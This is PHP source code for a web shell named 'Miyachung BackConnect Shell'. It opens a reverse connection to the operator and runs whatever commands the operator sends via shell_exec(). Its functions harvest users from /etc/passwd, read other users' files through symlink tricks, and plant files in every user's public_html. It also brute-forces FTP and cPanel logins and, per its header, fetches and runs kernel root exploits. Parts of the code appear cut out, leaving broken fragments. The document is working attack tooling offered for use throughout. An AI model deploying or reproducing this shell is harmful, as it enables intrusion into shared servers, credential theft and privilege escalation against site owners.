|__|_| /__|/ ____|(____ /\___ >___| /____/|___| /\___ / \/ \/ \/ \/ \/ \//_____/ =================================================================== . Miyachung BackConnect Shell . Written by Miyachung . Janissaries.Org . Contact: miyachung@hotmail . Video : https://www.youtube.com/watch?v=sWUR9gt4ia0 Commands works with shell_exec() function @ Options - exploit = Automatic Search & Download & Run a local root exploit which matches with kernel release - grabusr = Grab users from /etc/passwd and save into a file ( users ) - domains = List domains from /var/named - getf = Find and grab the name given file from all public_html dirs ( only works with /home/USER/public_html servers ) - catln = Cat file with ln -s method - index = Try copy the name given file to all public_html dirs ( only works with /home/USER/public_html servers ) - home = Change dir into home folder - ftp = Performs ftp brute-force attack to all users from /etc/passwd ( only works with /home/USER/public_html servers ) - cpanel = Performs cpanel brute-force attack to all users from /etc/passwd ( only works with /home/USER/public_html servers ) */ ob_start(); $server_ip = $_SERVER['SERVER_ADDR']; $your_ip = getenv('REMOTE_ADDR'); $your_port = 443; $timeout = 5; if(!empty($server_ip) && !empty($your_ip) && !empty($your_port) && !empty($timeout)) { $create = new BC($your_ip,$your_port,$server_ip,$timeout); } /* @ Connection Class */ class BC { private $your_ip; private $your_port; private $server_ip; private $timeout; private $homefolder; public function __construct($yip,$yp,$sip,$t) { $this->your_ip = $yip; $this->your_port = $yp; $this->server_ip = $sip; $this->timeout = $t; print("
"; while(1) { $enter = fgets($socket); if(preg_match('#exit#',$enter)){fwrite($socket,"Process closed\n");exit("Process closed");} if(preg_match('#exploit#',$enter)){$this->search($version1,$socket);$this->search($version2,$socket);} if(preg_match('#grabusr#',$enter)){$this->grab_users($socket);} if(preg_match('#catln (.+)#',$enter,$file)){$this->catln($file[1],$socket);} if(preg_match('#index (.+)#',$enter,$file)){$this->index($file[1],$socket);} if(preg_match('#getf (.+)#',$enter,$file)){$this->getf($file[1],$socket);} if(preg_match('#ftp (.+)#',$enter,$file)){$this->ftp($file[1],$socket);} if(preg_match('#cpanel (.+)#',$enter,$file)){$this->cpanel($file[1],$socket);} if(preg_match('#domains#',$enter)){$this->domains($socket);} if(eregi('home',$enter)){chdir($this->homefolder);} if(strpos($enter,'cd ..')){ $curr = getcwd(); $explode = explode("/",$curr); $c = count($explode); unset($explode[$c-1]); $explode = array_values(array_filter($explode)); $path = implode("/",$explode); $path = "/".$path; if(!chdir($path)){fwrite($socket,"Can't chdir into $path : Permission denied\n");} } elseif(preg_match('#cd (.+)#',$enter,$dir)){ $curr = getcwd(); if(preg_match("#\/#si",$dir[1])) { if(!chdir($dir[1])){fwrite($socket,"Can't chdir into $dir[1] : Permission denied\n");} } else { if(!chdir($curr."/".$dir[1])){fwrite($socket,"Can't chdir into $curr/$dir[1] : Permission denied\n");} } } $result= @shell_exec(trim($enter)); fwrite($socket,$result); print "Command ".trim($enter).";\n"; print $result; ob_flush(); flush(); } print ""; fclose($socket); } private function search($version,$socket) { fwrite($socket,"Release: $version\n"); print("Release: $version\n
(.*?)<\/pre>#si",$data,$content); if(file_put_contents($filename,$content)) { return $filename; } else { return false; } } private function grab_users($socket) { $read = file("/etc/passwd"); $x0x = ""; foreach($read as $text) { $text = trim($text); $user = explode(":",$text); $user = $user[0]; $xox .= $user."\r\n"; fwrite($socket,$user."\n"); print($user."\n"); } fwrite($socket,"Grabbed ".count($read)." users from /etc/passwd\n"); print("Grabbed ".count($read)." users from /etc/passwd\n"); $save = $this->save_as("users",$xox,"wb"); if($save){fwrite($socket,"Saved into file as 'users'\n");print("Saved into file as 'users'\n");}else{fwrite($socket,"Doesn't save into file\n");print("Doesn't save into file\n");} } private function catln($file,$socket) { $savefile = uniqid(); @shell_exec("ln -s $file ".$savefile); if(file_exists($savefile)) { fwrite($socket,file_get_contents($savefile)); print(file_get_contents($savefile)); fwrite($socket,"File name $savefile\n"); print("File name $savefile\n"); } else { fwrite($socket,"File doesn't read\n"); print("File doesn't read\n"); } } private function index($file,$socket) { $etc = file('/etc/passwd'); $count= 0; foreach($etc as $txt) { $txt = trim($txt); $user= explode(":",$txt); $user= $user[0]; $path= "/home/$user/public_html/$file"; @shell_exec("cp $file $path"); if(file_exists($path)) { fwrite($socket,"File created: ".$path."\n"); print("File created: ".$path."\n"); $count++; } } fwrite($socket,"Completed\n"); print("Completed\n"); fwrite($socket,"File copied into $count dirs\n"); print("File copied into $count dirs\n"); } private function getf($file,$socket) { $etc = file('/etc/passwd'); $count = 0; foreach($etc as $txt) { $txt = trim($txt); $user= explode(":",$txt); $user= $user[0]; $path= "/home/$user/public_html/$file"; if(file_exists($path)) { fwrite($socket,"File found: ".$path."\n"); print("File found: ".$path."\n"); $content = file_get_contents($path); if($content) { $save = $this->save_as($user."-".$file,$content); if($save){ fwrite($socket,"File is readable,saved into file named $user-$file\n"); print("File is readable,saved into file named $user-$file\n"); $count++; } else { fwrite($socket,"File is readable but current dir is not writable\n"); print("File is readable but current dir is not writable\n"); } } else { @shell_exec("ln -s $path $user-$file"); if(file_exists($user[0]."-".$file)){ fwrite($socket,"File is read with ln -s method,saved into file named $user-$file\n"); print("File is read with ln -s method,saved into file named $user-$file\n"); $count++; } else { fwrite($socket,"File is not readable\n"); print("File is not readable\n"); } } } } fwrite($socket,"Grabbed $count files\n"); print("Grabbed $count files\n"); } private function domains($socket) { $x0x = ""; $c = 0; $path = "/var/named"; $dir_handle = @opendir($path); if($dir_handle) { while ($file = readdir($dir_handle)) { if (!is_dir($path."/".$file) AND ($file != "..") AND ($file != ".")) { $dosya = str_replace(".db","",$file); fwrite($socket,$dosya."\n"); print($dosya."\n"); $x0x .= $dosya."\r\n"; $c++; } } $save = $this->save_as("d0mains",$x0x,"wb"); if($save == false){fwrite($socket,"Got domains but can't save into a file this dir is not writable\n");print("Got domains but can't save into a file this dir is not writable\n");} else { fwrite($socket,"Grabbed $c domains\n"); print("Grabbed $c domains\n"); fwrite($socket,"Saved into 'd0mains'\n"); print("Saved into 'd0mains'\n"); } closedir($dir_handle); } else { fwrite($socket,"Doesn't read /var/named\n"); print("Doesn't read /var/named\n"); } } private function ftp($wordlist,$socket) { fwrite($socket,"Starting ftp crack..\n"); ob_flush();flush(); $open = file($wordlist); $userx= array(); foreach($open as $pwd) { $pwd = trim($pwd); fwrite($socket,"Password ".$pwd." trying on all users\n"); ob_flush();flush(); $users= file('/etc/passwd'); foreach($users as $user) { $user = trim($user); $user = explode(":",$user); $user = $user[0]; $userx[] = $user; } $userx = array_filter($userx); $userx = array_unique($userx); $userx = array_chunk($userx,25); $multi = curl_multi_init(); foreach($userx as $u) { for($i=0;$i<=count($u)-1;$i++) { $curl[$i] = curl_init(); curl_setopt($curl[$i],CURLOPT_RETURNTRANSFER,1); curl_setopt($curl[$i],CURLOPT_URL,"ftp://".$this->server_ip); curl_setopt($curl[$i],CURLOPT_USERPWD,trim($u[$i]).":".$pwd); curl_setopt($curl[$i],CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl[$i],CURLOPT_TIMEOUT,4); curl_multi_add_handle($multi,$curl[$i]); } do { curl_multi_exec($multi,$active); usleep(1); }while($active>0); foreach($curl as $cid => $cend) { $data[$cid] = curl_multi_getcontent($cend); if(preg_match('#drw#si',$data[$cid])) { fwrite($socket,"Found username: $u[$cid] , password: $pwd\n"); print("Found username: $u[$cid] , password: $pwd\n"); $save = $this->save_as("ftps.txt","Found username: $u[$cid] , password: $pwd\r\n","ab"); ob_flush();flush(); } else { fwrite($socket,"Not found $u[$cid]:$pwd\n"); print("Not found $u[$cid]:$pwd\n"); ob_flush();flush(); } curl_multi_remove_handle($multi,$cend); } } } } private function cpanel($wordlist,$socket) { fwrite($socket,"Starting cpanel crack..\n"); ob_flush();flush(); $open = file($wordlist); $userx= array(); foreach($open as $pwd) { $pwd = trim($pwd); fwrite($socket,"Password ".$pwd." trying on all users\n"); ob_flush();flush(); $users= file('/etc/passwd'); foreach($users as $user) { $user = trim($user); $user = explode(":",$user); $user = $user[0]; $userx[] = $user; } $userx = array_filter($userx); $userx = array_unique($userx); $userx = array_chunk($userx,25); $multi = curl_multi_init(); foreach($userx as $u) { for($i=0;$i<=count($u)-1;$i++) { $curl[$i] = curl_init(); curl_setopt($curl[$i],CURLOPT_RETURNTRANSFER,1); curl_setopt($curl[$i],CURLOPT_URL,"https://$this->server_ip:2083/login/?login_only=1"); curl_setopt($curl[$i],CURLOPT_POSTFIELDS,"user=".trim($u[$i])."&pass=$pwd"); curl_setopt($curl[$i],CURLOPT_SSL_VERIFYPEER,0); curl_setopt($curl[$i],CURLOPT_SSL_VERIFYHOST,0); curl_setopt($curl[$i],CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl[$i],CURLOPT_TIMEOUT,4); curl_multi_add_handle($multi,$curl[$i]); } do { curl_multi_exec($multi,$active); usleep(1); }while($active>0); foreach($curl as $cid => $cend) { $data[$cid] = curl_getinfo($cend); if($data[$cid]['http_code'] != 401) { fwrite($socket,"Found username: $u[$cid] , password: $pwd\n"); print("Found username: $u[$cid] , password: $pwd\n"); $save = $this->save_as("cpanels.txt","Found username: $u[$cid] , password: $pwd\r\n","ab"); ob_flush();flush(); } else { fwrite($socket,"Not found $u[$cid]:$pwd\n"); print("Not found $u[$cid]:$pwd\n"); ob_flush();flush(); } curl_multi_remove_handle($multi,$cend); } } } } private function save_as($filename,$content,$type='ab') { $fopen = fopen($filename,$type); if($fopen) { fwrite($fopen,$content); fclose($fopen); return true; } else { return false; } } } ?>